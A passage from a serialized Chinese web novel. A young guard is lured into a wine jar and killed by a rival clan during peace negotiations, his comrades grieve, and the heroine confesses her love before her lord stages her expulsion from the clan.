小六兴奋地摸摸鼻子,“一言为定,七个小娘子,一个也不能少啊,得给我找漂亮的,白的!”
不言坏笑,“要多漂亮的,比花魁娘子还漂亮的?多白的,比你花绝哥哥还白的嘛?”
“哈哈哈哈哈——”
几人哄笑。
花绝气得要打不言,后者早就脚底抹油溜得飞快,边跑还边大叫:
“老子过了飞府衔试,轻功盖世,能让你小子追上?”
花绝大骂:“你特娘的最好睡觉都睁一只眼!不然早晚给你阉了,送楼子里接客去!”
叶峮在一旁看着直摇头,“都这个时候了还闹!消停点儿!”
小六笑道:“没事儿,叶哥,你们就像平时那样,我才不紧张。而且这样我才觉得亲近,有能真正和你们称兄道弟的感觉。”
叶峮用力捏捏小六壮实的肩膀:
“好孩子,去吧,挣个属于你的功劳回来!”
小六收拾妥当后,霍乾念又将他叫去书房,细细地交代了一个多时辰,预设了各种各样可能的突发情况,一一教会小六该如何应付脱身。
就连该怎么开口,说什么话,霍乾念都一字一句地嘱咐了又嘱咐。
最后,云琛安排完一干照应小六的事务后,亲自来送小六出门。
她从头发到脚后跟,仔仔细细将小六检查一遍,就连叶峮检查过的烟火折子都又翻了下。
即使这样,她还是觉得不放心,摸摸小六脖子上的红绳金锁,帮他掖好领子,叮嘱道:
“去了以后别逞强,听到没?功劳什么时候都能挣,不差这一次。狗哥护着你呢,你给我平平安安地回来。”
“别忽悠我了,云哥,这样立大功的机会可不多,我得把握住!”小六显然一点都不担心,咧着嘴傻乐,“放心吧,别忘了你答应过,等我回来,要请我喝天河曜哦!”
“嗯!”她踮起脚,用力拥抱小六。
小六不好意思地红了脸,笑道:
“云哥,你变了,从前你没有这么啰嗦的。”
她跳起来给了小六一个脑瓜崩,“敢呲我,皮痒了是吧?看你回来怎么收拾你!”
憨憨笑了两声,小六学着云琛平时的样子,小心翼翼地将和谈约书揣进胸口,拍拍胸脯。
“云哥,我走啦!”
“好,我与二百兄弟随后就到,就在玉家宅子外候着照应你!”云琛报以故作轻松的笑容:
“去吧,哥罩着你!”
小六昂首挺胸地大步而去,走出去一段路,又回头朝云琛挥手,黝黑的脸上呲着一口大白牙,笑得爽朗又孩子气。
云琛也挥手示意,而后立刻点名列队
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,算好时辰方位,同叶峮、花绝一起,悄悄往玉家方向埋伏而去。
小六其实很紧张。
站在玉家的大门口,他深呼吸了好几次,脑海里反反复复背诵着霍乾念教给他的话,又摸了摸脖子上的金锁,才鼓起勇气叩大门。
偏门开启,一个玉家护卫探出头来,呵斥道:
“哪来的浑货,竟敢敲正门?”
小六站直身子,扬起下巴,道:
“我是霍帮亲卫小六,奉我家少主之命,前来送机密信函与玉阳基老爷!”
那玉家护卫听完立刻脸色一变,连忙将小六让进门,笑道:
“原来是霍帮的兄弟,我们老爷早就等着呐,说你们霍帮早晚会来人做客的。”
小六原本端好了威风架势,却见这玉家护卫如此好说话,不由松懈下来:
“你家老爷早知道我们会派人来?”
那玉家护卫笑笑,“当然了!这位兄弟,我说句大实话,你别生气,主子们之间争来斗去,对方什么底细一清二楚。咱们做护卫的就是替主子演演戏,走个过场,你说是不是?”
完全没想到玉家人这么客气好说话,小六不禁忘记霍乾念嘱咐他的许多话。
那玉家护卫又道:“兄弟,你们是来谈和的吧?”
小六惊讶,“你们咋知道?”
那玉家护卫露出一副诚恳又热络的样子,揽住小六的肩膀,不着痕迹地往宅内走去:
“我不说了嘛,主子们之间早就互通底细的,我们老爷早猜到你们会来谈和。毕竟现在这局面太难看,我们也不想折腾,还是太太平平做生意挣钱最要紧,你说对不?”
小六连连点头,彻底将霍乾念的嘱咐抛诸脑后。
他忘了霍乾念对他说的第一种情况便是:
俯首帖耳必有奸诈!当即刻撤退,万万不可迟疑!
第115章 激将
玉阳基亲自接见了小六,翻开和谈约书扫了一眼,便丢置旁边不理,只笑眯眯地问小六:
“听说,霍帮亲卫之中,云琛与你十分亲近,是吗?”
小六不明白玉阳基为什么会问起云琛,但还是如实回答:
“是。我与云哥兄弟多年,一同在武馆做了几年武师,又一同入霍帮,自然更亲近些。”
玉阳基满意地点点头,那笑容令小六十分不舒服。
明明已经头发全白,手上全是皱纹与老人斑,可玉阳基的脸皮却紧绷又光滑,没有一丝褶皱,听说是常年服用壮阳密药所致。
小六一下子想到坊间有传闻,说玉阳基族中无伦,他宠幸女子只为传宗接代,过之即弃,实则是个断袖狂热之人,极喜爱年轻俊美的男子,甚至连自己族中儿孙子侄都不放过。
一旦被玉阳基看上的男子,他必绞尽脑汁不择手段都要得到。
果然,玉阳基又问:
“这位小六护卫,可否请云琛护卫来送和谈书,让他来替你?你们兄弟情深,他必定肯的。”
小六怎能看着云琛被一个老**惦记,他忍着嗓子眼里的作呕感,想都没想就说:
“云哥不可能来的,我家少主爱惜云琛如爱惜眼睛一般,不会让他来的。”
听到这,玉阳基脸上的笑意慢慢消失,神情逐渐变得阴森严厉。
这时,那先前领小六进门的玉家护卫,从众多护卫中走出来,对小六道:
“小六护卫忙了这半天,想必累了渴了,不如坐下来用些茶点吧?”
小六摇头,带着戒心看了眼茶点,“不了,请玉老爷仔细瞧瞧和谈约书,若同意,就请玉老爷签字印章,我便将约书拿回去与少主。”
玉阳基没有理会,眼皮子耷拉着,连看都没有再看小六一眼。
小六便想起霍乾念教给他的一段话,朗声道:
“玉老爷,虽然眼下这局面,玉家占尽先机,但若想将‘谋反’的罪名硬扣在霍帮头上,玉老爷最好再思量思量。毕竟鱼死网破,谁都不好看,毕竟——这楠国江山最后应是公主说了算。”
玉阳基仍旧不搭理。
那玉家护卫便笑道:
“小六护卫稍候,我家老爷眼睛有些模糊,那约书字太小,老爷得仔细看一会儿呢,请小六护卫坐着说话。”
小六再次拒绝。
另一个玉家护卫竖起大拇指,赞赏道:
“不愧是霍帮亲卫,果然训练有素,非凡人可比!听说要想当霍帮的亲卫,必有一手必杀技才行。”
“那可不,咱们亲卫不定数,霍帮的亲卫却只六个席位,那必得人中龙凤才能担当。”
“小六护卫可真厉害,年纪轻轻便这么有作为,还被主子派来办这样的大差事,真是前途无量!”
众多玉家护卫一唱一和,纷纷出言夸赞,小六忍不住将胸膛挺得更板正,神色也愈发骄傲。
一个玉家护卫的嘴边划过一抹讥笑,又快速摆出一副钦佩的模样:
“这么说来,小六护卫一定有过人的本事,才能做得了亲卫?”
小六昂首,“那是自然!”
那玉家护卫从旁拿出一个大酒坛子,放到堂中央,笑道:
“我听说,小六护卫有一身精彩绝伦的缩骨功,可全身缩进酒坛,可否展示一下,让我们开开眼
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?”
“这有何难!”小六大步走到酒坛子前,心里忽而又有点打鼓。
见小六犹豫,玉家护卫故意叹了口气,道:
“看来霍帮亲卫的什么必杀技都是假的吧,吹牛的吧?”
小六一下子来火,立马卸下佩刀就往酒坛子钻,嘴里还念道:
“我这就让你们开开眼,看看我们霍帮亲卫的本事!”
小六像平常一样,一点点往酒坛子里缩,缩了一半却觉得不太妙。
这酒坛子看着大,坛壁却很厚,里面的空间比普通酒坛还小了一圈。
小六这几年长身体,个子比从前高,骨头架子也比从前宽,一时缩得十分费劲。
瞧见周围一圈玉家护卫,都一副等着看他笑话的样子,小六犹豫了一下,将身上那两个烟火折子取下来,扔在地上。
这样一来,他身上又腾出些位置,便继续往坛子里钻。
快要完全钻进去的时候,小六觉得身上骨头皮肉比平时都要疼,比从前任何一次呼吸都困难,禁不住有点想放弃。
玉家护卫道:
“小六护卫别打退堂鼓呦,今儿你只要缩进这坛子里,我们老爷立马就签和谈书!”
小六气道:
“谁说我不缩了!只是你家这坛子太小,一会儿我出来有些难!”
玉家护卫道:
“无妨,我们这么多人在这里,搭把手的事而已!你若出不来,大声叫唤就是。”
话既说到这份上,小六只得咬咬牙,心一横,最后一使劲,将整个身体紧紧团缩进酒坛中。
在视线彻底黑暗之前,小六听见的,只有玉家护卫们无比阴森的诡笑。
第116章 酒坛
云琛与二百霍帮护卫埋伏在玉家暂居的宅院外,候了许久,宅院内外一派安静,没有任何异样。
叶峮注意到云琛额头上的汗,安慰道:
“阿琛,我瞧你比小六还紧张。别怕,一旦有问题,小六会发信号的,我们从这冲进去,不过百丈之地,也就眨眨眼的功夫。”
花绝也拍拍云琛后背,“就是。再说了,你们别一天到晚瞧不起人家小六,那小家伙也是有本事的,只是单纯傻气了些。你听宅院里安安静静,没有打斗声传出来,小六一定安全。”
云琛知道二人说得在理,但她就是觉得时间过得奇慢无比。
突然,一个玉家护卫走出宅院大门,四顾一圈,对着空气大喊:
“云琛护卫,劳烦出来相见!”
云琛与叶峮、花绝面面相觑,不敢妄动。
那玉家护卫又喊:
“咱们都是做护卫的,现下霍帮护卫一定埋伏在四周,等着照应小六亲卫吧——云琛护卫,小六护卫还要等上一阵,他叫我拿这个出来与你相见!”
略与叶峮交换眼神,云琛悄悄退身离开埋伏位置,换了个不同的方向出现,落定在玉家护卫十丈外。
那玉家护卫笑笑,举起一条红绳金锁,对云琛道:
“云护卫,小六护卫从脖子上取下这个,说你知道这是他的东西,便肯信我们的话。我们老爷正在看和谈约书,上面所涉及堂口、铺子、年利等,数目不小,得让管账细算算,还需要点时间。妥当之后才能签这约书,让小六护卫回去。”
云琛并不走过去接红绳金锁,只眯眼望过两眼,的确是小六的锁。
小六虽然孩子气了些,但身手不错。
如果不是他自愿取下项上红绳金锁,没人能不生出一点动静,就轻易取走这锁,除非先给小六四肢都捆起来,那也必然有大的响动。
但玉家宅院内外依旧很安静,并没有什么异样。
云琛冷面质问:“细算账,算多久?若一天算不完、一个月算不完、一年也算不完呢?莫非叫小六一直被扣在玉家?这就是你们的打算吗?”
玉家护卫赶紧摆手,“没有没有,老爷说了,今夜连夜算账看约书,最多一两日就能好,便将约书送还。”
见云琛目光紧盯,不多言语。
从始至终她的手都牢牢握着隐月剑的剑柄,姿态极其戒备,仿佛一只随时会发起进攻的老虎。
那玉家护卫只得将红绳金锁放在地上,慢慢向后退去:
“云琛护卫,您若着急,若不信,可以自己进来看看小六护卫是否安好。我保证这一路不会有任何人敢阻拦您,我家老爷也十分想请您喝茶一叙。”
云琛冷笑,唰地抽出隐月剑,上前用剑尖挑飞红绳金锁,收入怀中。
“我进去了之后呢?你再用这个办法一一请霍帮其他人进去?你们这法子也太蠢了些。”
那玉家护卫笑着摇摇头,退进了宅院。
云琛再次打量红绳金锁,的确是小六的,但摸起来有些滑腻,还有一股油脂的味道。
她觉得小六也太不爱干净了,才带了几天功夫,金锁便油腻成这样。
不再多留,她赶忙回府禀告霍乾念。
霍乾念只让按兵不动,继续埋伏照应。
若明日小六还不出来,霍乾念便亲自入玉府去寻。
焦灼地等待了两天一夜,小六还是没有出来。
叶峮回报说玉家宅院内外没有一点响动,和平常无异。
无法,霍乾念只得亲自率众叩门,由公主亲兵从旁埋伏照应。
叶峮上前叫门,玉家仿佛知道霍帮会来一般,立刻启开了正门。
花绝与云琛随护在霍乾念身边,三百护卫成阵型围护在后。
众人一眼就看见大门后的堂院里,已事先摆好一桌酒席。
玉阳基正坐在主位上,好整以暇相待,身旁站满了玉家护卫。
只怕又是一场杀斗在眼前。
霍帮众人不免高度戒备,围护着霍乾念缓缓进入堂院。
云琛一边严密护卫,一边在场中四顾,却没有见到小六的身影。
既已闹到如今的局面,双方都懒得客套。
霍乾念开门见山地问:
“和谈约书如何?玉老爷可以慢慢算,算个十年八年都行,请先将亲卫还给我。”
玉阳基阴阴一笑,“霍少主这是和谈的态度?何不对我客气些,霍帮才好尽早摘了‘谋反’的罪名。”
霍乾念气势凌厉,眉眼含锋,冷笑道:
“你若签和谈约书,我自对你客气些。现在约书还不在我手上,玉老爷此时就急着要‘客气’,未免早了些。怎么,被霍帮打怕了,你很缺‘客气’吗?”
玉阳基怪笑两声,“霍少主还真是一如往昔,嘴里不留丁点情面呐!看来霍少主并不想和谈,是公主极力想和谈吧?”
霍乾念不置可否,玉阳基扫了眼他身旁蓄势待发的霍帮护卫们,又道:
“这可有意思了,公主要谈和,我同意,可我还是想看看,你们谁有胆和自己东家作对,违背公主的意思。”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!霍乾念用眼神示意众护卫将刀收回刀鞘,并对花绝和云琛低声道:
“切莫冲动,不可破坏和谈之局。”
这时,玉阳基对云琛招手,笑道:
“和谈约书我已签好,请云琛来取吧!”
霍乾念危险地眯起眼睛,云琛却道:
“少主,我去取,不妨事。”
霍乾念打量从云琛这里到玉阳基之间的距离,不过几丈,生不出什么变故。
即使如此,霍乾念还是不动声色地攥紧了袖子里的匕首,心里计划着飞刀击杀的准头。
云琛独自走到玉阳基对面站定,一个玉家护卫将和谈约书递给她。
重重玉家护卫的人墙之后,玉阳基满脸堆笑,毫不掩饰贪婪的目光,不停地打量云琛的身子。
玉阳基指指酒席上一个酒坛子,道:
“赏你的,拿去吧。”
云琛本不想拿,但想到如今和谈得来不易,不敢因一己之私生出变故,只得客气应下。
一靠近酒坛子,她立马闻到一股浓郁的油脂香气,与小六那红绳金锁上的味道一模一样。
她抱住酒坛,只觉得触之温热,奇重无比。
心里生出戒备疑虑,云琛悄悄用余光打量四周玉家护卫们的神色。
所有人的嘴角都噙着一抹奇怪的笑容,只有胥斩目光沉重,面上似有不忍。
玉阳基阴测测笑了一声:
“打开看看吧,可好看了。”
犹豫片刻,云琛缓缓启开酒坛盖子,正对上一张扭曲恐怖的脸孔。
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第117章 求你再等等
云琛整个人震在原地,大脑一片空白。
她看见小六以一种奇异而扭曲的姿势,折叠团缩在酒坛子里。
他四肢像麻花一样,和躯干胡乱拧作一团,只露着一张极其恐怖骇人的面容朝上。
他的眼睛爆裂出血,嘴巴大张着,让人似乎能听见那绝望的惨叫。
他整“团”人浸在浓稠温热的油脂里,皮肤全部碎裂成红白交错的样子,呈现出“熟肉”的恐怖。
霍帮众人不知道发生了什么,只见到云琛动作僵硬地将酒坛盖子盖好,缓缓抱着酒坛往回走。
在她转过身的一刹那,霍乾念便瞧见她面色惨白如纸,嘴唇没有一丝血色,表情像见了鬼一样。
叶峮和花绝自然也注意到,迅速交换眼神,上前去迎云琛,替她抱住酒坛。
谁知二人齐齐用力,云琛的手却像长在酒坛子上一样,竟拽不动分毫。
双方不杀起来就是最好的场面,玉家阴险狡诈,此地实在不宜久留,叶峮向霍帮护卫们打手势撤退,众人护着霍乾念慢慢退向大门。
将出大门之际,玉阳基不怀好意地叫道:
“和谈之后还有许多约书来往,以后就请云琛护卫前来相送吧!”
几乎是一瞬间,所有人都清楚地看见霍乾念倏然变脸,阴沉面色之上,一双眼神像刀子似的闪着杀意寒锋。
如果眼神可以杀人,只怕此刻玉阳基已经成筛子了。
霍帮众人护卫着霍乾念,一路警戒回到霍府。
叶峮突然懊恼地拍了下脑袋,这才想起一件重要的事没干,大叫:
“小六呢?怎么把小六忘了?”
花绝也大喊着“糟糕糟糕”,连忙起身向外走,似乎是想再去玉家一趟,把小六接回来。
谁知刚走到门口,却听“咔嚓”一声巨响,云琛手里的酒坛终于重重落下,爆碎在地。
无数锋利的碎片之中,只见一个裹满油脂的东西停在地上。
那么高高壮壮的小六,此刻已变成一团僵硬的“人球”,再也不会动了。
时间仿佛静止一般。
四周陷入绝望的寂静。
花绝呆呆地走上前,简直不敢相信自己的眼睛,颤抖着声音,试探地叫了声:
“小……六?”
在看清小六的脸,确定真的是小六后,花绝两腿一软,轰然跪倒在地,发出刺耳尖锐的哭嚎:
“小六!!!”
这一声仿佛终于唤醒云琛,她瞪着血红的眼睛,猛地向大门外冲去。
几乎同一时间,霍乾念急声大喊:
“摁住云琛!!快!!”
四五个护卫扑上去阻拦,但根本拦不住已近疯狂的云琛。
她不顾一切地往外冲,毫无理智地挥拳砸向面前一切,嘶吼着:
“让开!!让开!!!”
叶峮根本顾不得伤心,第一时间扑上去卸了云琛的隐月剑,和几个护卫合力才将云琛摁趴在地上。
云琛用尽全力挣扎踢打,力气大到三个人都难以控制。
她的脸紧紧贴在地上,眼泪将满脸尘土都和成了污泥。
她死死瞪着门口的方向,脸庞和脖子全部青筋暴起,涨红得像要滴血一般。
隐在暗处的不言也冲了出来,手脚并用抵住云琛脊背,却又怕弄疼她,只能从后抱住她的肩膀,哭道:
“阿琛!不能去啊!已经和谈了!你现在去玉家只能送死啊!!”
四肢和身体都被压制得动弹不得,云琛终于放弃挣扎,撕心裂肺地大哭起来。
她想要呼喊小六的名字,出口却只有撕破喉咙的一个字:
“啊——”
“啊——”
声声哀嚎泣血,一声更比一声摧人心肝。
见云琛不再挣扎,叶峮和不言趴在她身上,也一起放声痛哭。
耳边似乎还残留着小六的豪言壮语:
“混得好的,便是富贵披身!闯出一番大事业来!”
“我是小六亲卫!你们尊重我一点!”
“你们等着,看我立个大功回来!”
“云哥,下个月我就满二十啦,可以成亲啦!”
一切仿佛还在眼前,却又什么都不在了。
小六穿着那不合身的衣服,那只穿了一日的旧亲卫服制,永远停在了十九岁。
荀戓那长命锁,到底没能护住小六。
小六的死,引起了南璃君和手下一众大商的群情愤慨。
不只是因为小六的死状太过惨烈恐怖,让人难以想象他究竟在那狭小幽闭的酒坛子里哭喊了多久,又怎样眼睁睁地看着滚烫的热油朝自己倾泻而下。
更是因为小六的死,无异于给了南璃君和众大商脸上狠狠一巴掌。
可玉阳基已签下和谈约书。
所有人只能打碎牙往肚里咽,硬生生咽下这口血。
只有云琛做不到咽下。
她犹如一头失了神智的野兽,不吃不喝也不睡,只瞪着猩红的眼睛,一次次不顾一切地想要冲出府,满脑子只有为小六报仇这一件事。
直到所有看守她的护卫们都已精疲力竭,叶峮、花绝和不言寸步不离地守着她,陪着她哭了一夜又一夜。
直到霍乾念捧着她的脸,抵在她额头,对她说:
“总有一天,我们会送玉阳基下地狱,琛儿,求你再等一等……”
她终于失去所有力气,烂泥般瘫倒在地上,脸上布满新旧难干的泪痕。
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第118章 人死如灯灭
这一场霍玉相争,霍帮以付出巨大利益代价并牺牲两个亲卫,换来了短暂的“和平”。
“谋反”的帽子仍然扣在霍帮的头上,这罪定与不定,已全在玉阳基一念之间。
一步退让,步步退让。
堂口割让了一个又一个,年利让了一成又一成。
就连街头巷尾的百姓们都说,雄狮也有颓颓倾倒的一天,霍帮怕是不成了。
玉阳基仍指明要云琛作为信使,负责后续堂口移交等事务信函的传递。
霍乾念说什么也不肯,只让旁人代劳。
玉阳基便一次次将约书退回,和谈之事卡在半路,难以继续推进下去。
对此,南璃君越来越不满,几次三番派菘蓝前来责问,霍乾念只咬死一句话:
“云琛去不了。”
因为霍乾念比小六更清楚玉阳基那不伦的兽行,更明白玉阳基几次三番盯着云琛,那淫恶的眼睛里都在思量什么。
他在北柠堂书房坐了整整一夜。
堂外的梨树落了叶,枝桠挂满寒霜。
第二日天还未亮,他便唤来云琛,掩住满面疲色,对她温声道:
“陪我去走走吧。”
不许其他任何人跟着,二人各自骑马,朝白鹭岛附近的一座小山行去。
一路盘山而上,一路无话。
行至山顶的时候,太阳还未升起。
放眼望去,山峰墨蓝,秋风瑟瑟长鸣,颇为凄凉。
霍乾念看向云琛,她静静地望着远处的山峰,那双灵动又清澈的眸子,如今日日阴郁着。
荀戓与小六的接连死去,让她备受沉重打击。
时已入秋,人人都在贴秋膘,胖了一圈,只有云琛愈发清瘦,护卫服制穿在身上都空荡荡的。
他眉头微蹙,黯然开口:
“从我继任霍帮家主以来,至今十三年,牺牲的霍帮护卫已有两千七百八十二人。年纪最小的十六岁,最大的三十七岁。旁人只见到霍帮楠国巨富,我霍乾念好生厉害。只有我知道,这金山银山全都染着血。”
霍乾念口中说的年纪最大的三十七岁,便是指荀戓。
已过了小六的头七,荀戓的七七,可只要一提到荀戓和小六,云琛还是想哭,忍不住心里一痛,鼻头立刻就发酸。
霍乾念又道:
“做了家主之后,最开始的两年,我最怕听见护卫牺牲的消息,每场杀斗过后,最惧的便是清算伤亡。作为霍帮少主,统管全国堂口,肩负家族万人兴衰,我必须将心硬起来,冷起来,可只要闭上眼睛,我满脑子都是一个个人死去的样子。”
是啊,荀戓和小六是云琛的至亲兄弟,可霍帮死去的两千多名护卫,也都是别人的兄弟手足。
想到这里,云琛又突然意识到一个令人生寒的问题。
除了她和荀戓、小六,霍帮的护卫全部都是家生子,是霍帮忠仆忠卫的后代,有些甚至还是霍乾念五服之外的同姓兄弟。
那一个个死去的护卫,有的曾是他儿时的玩伴,陪着他一起掏过鸟窝,撵过狗,有的还是与他一同读书长大的好友。
那是两千多个属于霍乾念的荀戓和小六。
他们一个个死去,可他们的家人还在霍帮宗族内,甚至仍旧在霍帮为奴为婢,效忠奉献。
霍乾念每一天都在被提醒:他们的后代已为你战斗至牺牲。
云琛不敢想象那巨大的痛苦和压力,似乎也从未有人替霍乾念想过这一点。
仍旧轻轻一点便通透,霍乾念知道,云琛已懂他那从未对任何人言说过的苦楚。
想到如今自己这份悲痛,霍乾念已独自吞咽过千百回,云琛心疼地看着他,哽咽地叫了声“少主…”
他叹息,“一开始,我总是忍着不去想那些人那些事,可越不去想,就越痛苦,我索性痛痛快快哭上几场,哭个够,伤心个够,然后再爬起来好好活着,为我自己,也为他们。”
她忍不住落泪。他道:
“云琛,好好痛快哭一场吧,就当是最后告别一次。”
她越哭越大声,哭得浑身都在发抖。
她对着黎明前的沉沉黑夜,声嘶力竭地哭喊着:
“狗哥——”
“小六——”
喊了一遍又一遍,心碎的哭声回荡在旷野群山之间。
将那一腔悲痛呼出去,她深吸几口凉瑟的秋风,终于觉得平静了许多。
霍乾念没有呼喊,也没有痛哭,但那沉默的凤眸里亦满是思念,他轻声道:
“人们都说,‘人死如灯灭’,‘死亡并不是终点,遗忘才是’。可我觉得都不对。我相信世间万物皆有灵,一花一草,一石一木,也自有灵魂。
所以哪怕慢慢被人遗忘,也不代表真正消亡。因为这风霜雨雪都记得,那踏过的青苔记得,堂前的梨树也记得,谁曾靠近它,闻过它的花香。”
伴着他话音落下,一缕金色划破黑暗。
太阳终于溢出那无边无际的金魄,沐得群山日照,尽扫阴霾。
她仰起脸,感受着越来越有暖意的阳光,喃喃道:
本小章还未完,请点击下一页继续阅读后面精彩内容!“狗哥,小六,所有霍帮牺牲的兄弟们……他们只是离了那躯体吧,离开了时间,却永远地存在于这世间万物之中……少主,就像对于高山与大树来说,一万年就是一天,对吗?”
“对。”他温柔地笑。
片刻过后,金阳彻底攀上山顶,耀得人几乎睁不开眼。
毫无预料地,她轻声开口:
“少主,我喜欢你。”
他惊讶地睁大眼睛,像是不敢相信自己的耳朵,怀疑自己是不是听错了。
她却目光澄澈又坚定地望着他,又重复了一遍:
“我喜欢你。”
他只感觉浑身一麻,一股无法言说的酸涩翻涌上心头。
盼啊盼啊,盼着她动情,盼着她生爱意。
等啊等啊,等着她坚定一颗心来回应。
如今终于等到了,却偏偏……
她脸颊有些发红,却没有任何扭捏犹豫,坦坦然道:
“在瀑布水潭的时候,我曾说,等与玉家的事结束了,我有话对少主说,就是这话。我一直不敢对你说,羞于对你说,但……”
但正如荀戓和小六,好好一个大活人,说没就真的没了。
她怕若现在不表白,也许永远都不会有机会说了。
生与死,哪个来得更快些,只有老天爷知道。
见他的神情从惊讶激动,逐渐变得平静,继而越来默然,她心里有点慌。
“少主,你不是也有话对我说吗?”
沉默良久,他淡淡道:
“原本是有的,现在……没有了……”
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第119章 逐出霍帮
从山上下来之后,霍乾念突然变得很冷淡。
云琛心里有些乱。
她一直以为,霍乾念对她是不同的,多少也有些情愫的吧。
可听了她的表白之后,他却突然整个人都疏离起来,只将一封机密信函交给她,让她去送与颜十九。
她将信仔细揣好,和平常一样快速转身离去,便没有留意到他垂下的睫毛微微颤动,那睫毛之下又是怎样悲伤不舍的眼神。
云琛熟门熟路地去到颜十九在烟城的旧府邸。
此次霍帮借口迁祠堂回烟城,颜十九没有参与,但意外地和公主同来了。
她走进颜府,一眼就看见颜十九四仰八叉地躺在椅子里看小人书。
她将信函交给颜十九。
颜十九指着自己的鼻子,惊讶问:
“霍乾念有机密信函给我?我?”
云琛其实也很奇怪,虽然同为公主手下的大商,但霍帮很少与颜十九打交道。
霍乾念与颜十九更是话都没说过几句,从来没有过书信来往。
但做护卫的只管听令,云琛道:
“我家少主说,这是非常重要的机密信函,请颜公子亲观。”
颜十九撇撇嘴,大大咧咧地接过信函拆开,顿时一愣。
云琛站在对面,看不见信上写了什么,只能看见颜十九神色越来越凝重。
沉思许久,颜十九起身进入书房。
见云琛一同跟来,他便又坐去书桌前,看了眼不远处正安静等回信的她,随意地将桌上假山造型的砚台挪了挪,而后写下回信,仔细密封好才交给她。
云琛习惯性将信贴身放好,还不忘整理衣襟,生怕信函露出来。
看着云琛一丝不苟的认真动作,颜十九眉头愈来愈深。
“颜十九,你这是什么表情?出什么事了吗?”她问。
颜十九立刻眉头一松,阳光灿烂地笑起来,重新躺回椅子里,两条胳膊舒服地枕在脑后,笑道:
“小云云,赶紧回去送信吧——记住哦,有事可以来找我,我随时助你一臂之力。”
“又在那里莫名其妙。”云琛嘀咕了一句,随即转身离去。
看着她的背影,颜十九脸上的笑容慢慢褪下,神情又重新变得深沉。
万宸隐在一旁的暗卫值守位,不见其人,只闻其声:
“公子,这信……”
颜十九冷笑:
“你应该瞧见了,这信不重要,送信的人才重要——霍乾念这个无用的东西!非要到这般地步才肯放手,贱人!”
万宸虽在暗处值守,但离颜十九很近,他清楚地看见那信只是一张白纸,颜十九的回信也是一张白纸。
借着假山砚台的遮挡,他的笔尖悬空在信纸上方,根本没有触到信纸。
万宸心领神会:“公子,要派人提前去布置吗?”
颜十九道:“自然是要的,派二十个护卫,十个暗卫。”
“属下遵命。公子,云护卫估计很快就会再次登门。要不,就说您被公主请去议事了,回不来?”
“没用的,按她那个执着的性子,必然会追去公主府,死等到我出来为止。”
琢磨了好一会儿,颜十九唇角勾起,声音里带了隐隐兴奋:
“霍乾念,这可是你拱手相让的,那么——
这辈子你都别想再见到她!”
另一边,云琛离开颜府。
她揣着颜十九的回信,回到霍府的时候,只见霍乾念穿一身非常正式的对襟青柏断纹玄袍,正襟危坐,落座于正厅之上。
叶峮和花绝都不在,府上的武备总管从旁而立,厅两侧站满了她不太相熟的护卫们。
从霍乾念的眼神可以看出,他在等她。
她有点纳闷,不明白为什么会突然端出这样大的阵仗。
上一回这么正式,还是几年前她初入霍府和花绝打架的时候。
她走进正厅,正要上前呈信,霍乾念却叫一旁的武师拦住她,接过信,并不让她靠近。
这是从来没有过的生分。
她有点莫名其妙的,站在厅中,既被所有人盯得不自在,更奇怪霍乾念怎么了。
然而还不等她发问,霍乾念便接过信函拆开,一把将白纸扔下,冷声问:
“云琛,我叫你送取极其重要的机密信函,信呢?”
看着地上的白纸,云琛愣了。
“少主,我亲眼看着颜十九写信装信,然后就给了我,一路而来我都将信好好揣着,并没有一丝疏忽。我不知为何如此。”
霍乾念面无表情:“白纸就在这里,你无可辩驳。这是事关霍帮的机密要事,却被你大意遗失,你该当何罪?”
云琛大急:“少主,我真的没有大意,往返不过一个时辰,我保证一路太平,没有生出任何变故!”
霍乾念好似根本不想听这解释,只吐出冰冷的两个字:
“跪下!”
这是在开玩笑吗?云琛惊愣地望着霍乾念。
这是她第一次从他嘴里听到这两个字。
看着那冷面如寒铁,一双突然变得冰冷漠然、没有一丝温柔的眼睛,她最终弯起双膝,缓缓跪下,心里委屈极了。
“少主,我不知这信为何会变成一张白纸,可我真的没有马虎大意……”
她话未说完,霍乾念便冷声打断:
“要么是你丢了信,诓骗于我;要么是你麻痹大意,被人调换了信都不知道;要么——”
顿了顿,他极力稳住嗓音,继续道:
“要么,就是你于霍帮有异心,勾结外敌,今日终于露出马脚。”
“我没有!”她惊得目瞪口呆,搞不明白什么情况?
她是霍帮的第四亲卫啊!
是霍乾念最信任的心腹之一啊!
怎么突然被扣上这么大的帽子!成了叛徒?
她一下子慌乱起来:“少主,你怎么了?为什么突然这样?是有什么大变故吗?”
霍乾念却毫不留情道:
“是我太轻信你,太纵容你,叫你敢这样没规矩地质问我,叫你办差马虎,丢了重要信函。”
不等她再辩驳,霍乾念道:
“来人!卸剑除服,将云琛……逐出霍帮!”
第120章 都是厌恶而已
霍乾念话音落下,包括云琛在内,所有人都惊呆了。
谁不知云琛这些年的功劳赫赫,深得霍乾念信任。
就算黄了件大差事,也不至于如此吧?
厅中众护卫窃窃私语,一个武备总管上前劝道:
“少主,既然云护卫办坏了差,那不如依照府规责罚,重责都行。可若卸了云护卫的剑和护卫服制,这样逐出去……”
剩下的话,不必武备总管多说,所有人都知道,那对于一个护卫来说,将是何等奇耻大辱。
霍帮至今百年,只有一个奸淫妇女、抢掠贫民的护卫被这样处置。
如果真的如此对云琛,不出三日,全烟城的人都将知晓此事。
照厅里这么多护卫在场,不出十日,整个楠国的护卫圈都将听说这桩侮辱奇闻。
就是离了霍帮,云琛这辈子也找不到任何一个家主愿意收留她了。
可霍乾念心意已决,他根本不去看云琛焦急得已泛起泪光的双眼,只目视前方,用一种最冷漠无情的姿态说道:
“谁若再为云琛求情,便一同逐出霍府——动手!逐出!”
叶峮与花绝都不在,平日里与云琛交好的兄弟护卫也不在,厅内众人纵然同情,觉得不公,却没人敢再开口求情。
云琛傻愣愣站在原地,脑袋里一片震惊混乱,连解释都不解释了,竟直接认了这莫须有的罪名,用膝盖行前两步,声音发颤地说:
“少主!我错了!信丢了我去找!行不行?”
面对她近乎哀求的语气,霍乾念没有作声,眉眼沉如黑水。
没有人知道,他其实连呼吸都是颤抖的。
看看霍乾念无动于衷的脸色,旁边的两个武备总管叹了口气,走到云琛面前。
一个武备总管卸下她的腰带和隐月剑,另一个武备总管扒去了她服制上最显眼的醒狮标志,摘下她腰间“山隐月”的腰牌。
没有这些,从今往后,云琛连霍府的大门都进不来。
面对这近乎羞辱的对待,云琛脸色涨得通红,紧紧抿着嘴,一动不动地任人摆布。
她望向看都不愿意看她一眼的霍乾念,一遍遍地问:
“为什么……到底为什么……”
她不敢相信霍乾念会这样对待她。
